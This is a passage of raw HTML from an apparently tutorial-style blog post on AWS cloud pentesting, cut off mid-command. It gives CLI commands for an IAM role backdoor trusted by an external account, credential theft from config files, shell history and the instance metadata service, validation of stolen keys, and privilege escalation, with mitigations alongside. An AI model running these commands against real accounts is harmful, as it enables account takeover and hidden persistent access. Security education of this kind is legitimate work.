class="cl"&gt;aws iam create-role --role-name backup-support-role --assume-role-policy-document &amp;#34;{\&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;,\&amp;#34;Statement\&amp;#34;: [{\&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;,\&amp;#34;Principal\&amp;#34;:{ \&amp;#34;AWS\&amp;#34;: \&amp;#34;65025******\&amp;#34;},\&amp;#34;Action\&amp;#34;: \&amp;#34;sts:AssumeRole\&amp;#34; }]}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document &amp;#34;{ \&amp;#34;Version\&amp;#34;: \&amp;#34;2012-10-17\&amp;#34;, \&amp;#34;Statement\&amp;#34;: [ { \&amp;#34;Effect\&amp;#34;: \&amp;#34;Allow\&amp;#34;, \&amp;#34;Action\&amp;#34;: [ \&amp;#34;iam:CreateUser\&amp;#34;, \&amp;#34;iam:CreateAccessKey\&amp;#34;, \&amp;#34;iam:ListUsers\&amp;#34;, \&amp;#34;iam:GetUser\&amp;#34;, \&amp;#34;iam:ListAttachedUserPolicies\&amp;#34;, \&amp;#34;iam:ListUserPolicies\&amp;#34;, \&amp;#34;iam:GetUserPolicy\&amp;#34;, \&amp;#34;iam:AttachUserPolicy\&amp;#34;, \&amp;#34;iam:PutUserPolicy\&amp;#34;, \&amp;#34;s3:ListAllMyBuckets\&amp;#34;, \&amp;#34;s3:ListBucket\&amp;#34;, \&amp;#34;s3:GetObject\&amp;#34; ], \&amp;#34;Resource\&amp;#34;: \&amp;#34;*\&amp;#34; } ] }&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;The &lt;code&gt;65025&lt;/code&gt;** account can access this role at any time through** &lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;strong&gt;, and administrators will not see this backdoor in&lt;/strong&gt; &lt;code&gt;list-users&lt;/code&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even if an administrator deletes the IAM user created by the attacker, the attacker can still use&lt;/strong&gt; &lt;code&gt;AssumeRole&lt;/code&gt;** to access AWS!**&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is pretty interesting.&lt;/p&gt;&#10;&lt;p&gt;In practice, it simply creates a highly privileged IAM role and configures it to trust an external AWS account ID. That external account can then obtain credentials for the role anytime, from anywhere.&lt;/p&gt;&#10;&lt;h2 id="advanced-attack-techniques"&gt;&lt;a href="#advanced-attack-techniques" class="header-anchor"&gt;&lt;/a&gt;Advanced Attack Techniques&#10;&lt;/h2&gt;&lt;h3 id="aws-cli-credential-leaks"&gt;&lt;a href="#aws-cli-credential-leaks" class="header-anchor"&gt;&lt;/a&gt;AWS CLI Credential Leaks&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Learn where AWS CLI credentials are stored, the common ways they get leaked, and how leaked AWS access credentials can be used to take control of an AWS account.&lt;/p&gt;&#10;&lt;h4 id="where-aws-cli-credentials-are-stored"&gt;&lt;a href="#where-aws-cli-credentials-are-stored" class="header-anchor"&gt;&lt;/a&gt;Where AWS CLI Credentials Are Stored&#10;&lt;/h4&gt;&lt;p&gt;By default, AWS CLI access credentials are stored in the &lt;code&gt;~/.aws/credentials&lt;/code&gt; and &lt;code&gt;~/.aws/config&lt;/code&gt; files under the user&amp;rsquo;s home directory:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat ~/.aws/credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows path&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type C:\Users\USERNAME\.aws\credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example contents&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[default]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_access_key_id = AKIAIOSFODNN7EXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If an attacker can access this file, they can take full control of the AWS account.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="common-ways-aws-cli-credentials-get-leaked"&gt;&lt;a href="#common-ways-aws-cli-credentials-get-leaked" class="header-anchor"&gt;&lt;/a&gt;Common Ways AWS CLI Credentials Get Leaked&#10;&lt;/h4&gt;&lt;h5 id="1-leaks-in-source-code"&gt;&lt;a href="#1-leaks-in-source-code" class="header-anchor"&gt;&lt;/a&gt;1. Leaks in Source Code&#10;&lt;/h5&gt;&lt;p&gt;Developers often &lt;strong&gt;hard-code&lt;/strong&gt; AWS credentials directly into their code:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_access_key_id = &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws_secret_access_key = &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s3 = boto3.client(&amp;#34;s3&amp;#34;, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the code is uploaded to GitHub or another code repository, attackers can discover the AWS credentials through GitHub Dorking.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;github.com search: &amp;#34;aws_access_key_id filetype:env&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use AWS IAM roles instead of exposing an &lt;code&gt;Access Key&lt;/code&gt; directly.&lt;/li&gt;&#10;&lt;li&gt;Enable GitHub &lt;strong&gt;Secret Scanning&lt;/strong&gt; to detect leaked AWS keys.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-leaks-in-logs"&gt;&lt;a href="#2-leaks-in-logs" class="header-anchor"&gt;&lt;/a&gt;2. Leaks in Logs&#10;&lt;/h5&gt;&lt;p&gt;AWS keys can accidentally end up in log files. For example:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /var/log/syslog | grep &amp;#34;aws_access_key_id&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Do not write sensitive information to logs.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;AWS Secrets Manager&lt;/code&gt; instead of plaintext keys.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-shell-history"&gt;&lt;a href="#3-shell-history" class="header-anchor"&gt;&lt;/a&gt;3. Shell History&#10;&lt;/h5&gt;&lt;p&gt;If a developer runs AWS CLI commands directly in a terminal:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;An attacker can retrieve the AWS keys from &lt;code&gt;history&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;history | grep aws&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Run &lt;code&gt;history -c&lt;/code&gt; to clear the command history.&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;export AWS_ACCESS_KEY_ID&lt;/code&gt; instead of &lt;code&gt;aws configure&lt;/code&gt; to avoid storing credentials in configuration files.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="4-environment-variable-leaks"&gt;&lt;a href="#4-environment-variable-leaks" class="header-anchor"&gt;&lt;/a&gt;4. Environment Variable Leaks&#10;&lt;/h5&gt;&lt;p&gt;Some servers may store AWS access credentials in environment variables:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $AWS_ACCESS_KEY_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $AWS_SECRET_ACCESS_KEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If an attacker gains shell access to the server, they can easily steal the AWS credentials.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use IAM roles instead of storing static keys.&lt;/li&gt;&#10;&lt;li&gt;Configure &lt;code&gt;AWS_SESSION_TOKEN&lt;/code&gt; so credentials are short-lived, reducing the risk of long-term exposure.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="5-attacking-the-aws-instance-metadata-service-imds"&gt;&lt;a href="#5-attacking-the-aws-instance-metadata-service-imds" class="header-anchor"&gt;&lt;/a&gt;5. Attacking the AWS Instance Metadata Service (IMDS)&#10;&lt;/h5&gt;&lt;p&gt;On EC2 instances, AWS stores IAM role credentials in &lt;code&gt;IMDS&lt;/code&gt; (the Instance Metadata Service):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Attack steps&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Run the following on a compromised EC2 instance:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;lt;ROLE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;Retrieve the access keys:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Token&amp;#34;: &amp;#34;FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Mitigations&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Enable IMDSv2&lt;/strong&gt; to prevent SSRF attacks:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Block unauthorized users from accessing&lt;/strong&gt; &lt;code&gt;169.254.169.254&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iptables -A OUTPUT -d 169.254.169.254 -j DROP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="exploiting-leaked-aws-cli-credentials"&gt;&lt;a href="#exploiting-leaked-aws-cli-credentials" class="header-anchor"&gt;&lt;/a&gt;Exploiting Leaked AWS CLI Credentials&#10;&lt;/h4&gt;&lt;h5 id="check-whether-the-credentials-are-valid"&gt;&lt;a href="#check-whether-the-credentials-are-valid" class="header-anchor"&gt;&lt;/a&gt;Check Whether the Credentials Are Valid&#10;&lt;/h5&gt;&lt;p&gt;Once you obtain an AWS access key, the first step is to check whether it is valid:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the credentials are valid, the command returns information like this:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserId&amp;#34;: &amp;#34;AIDAJQABLZS4A3QDU576Q&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Account&amp;#34;: &amp;#34;650251703094&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Arn&amp;#34;: &amp;#34;arn:aws:iam::650251703094:user/victim-user&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Now you know the AWS account ID and username!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="enumerate-permissions-in-the-aws-account"&gt;&lt;a href="#enumerate-permissions-in-the-aws-account" class="header-anchor"&gt;&lt;/a&gt;Enumerate Permissions in the AWS Account&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-attached-user-policies --user-name victim-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-user-policies --user-name victim-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the account has highly privileged policies, you can perform administrator-level operations.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="escalate-privileges-to-administrator"&gt;&lt;a href="#escalate-privileges-to-administrator" class="header-anchor"&gt;&lt;/a&gt;Escalate Privileges to Administrator&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;If the credentials have limited permissions, you can try abusing&lt;/strong&gt; &lt;code&gt;iam:PassRole&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name 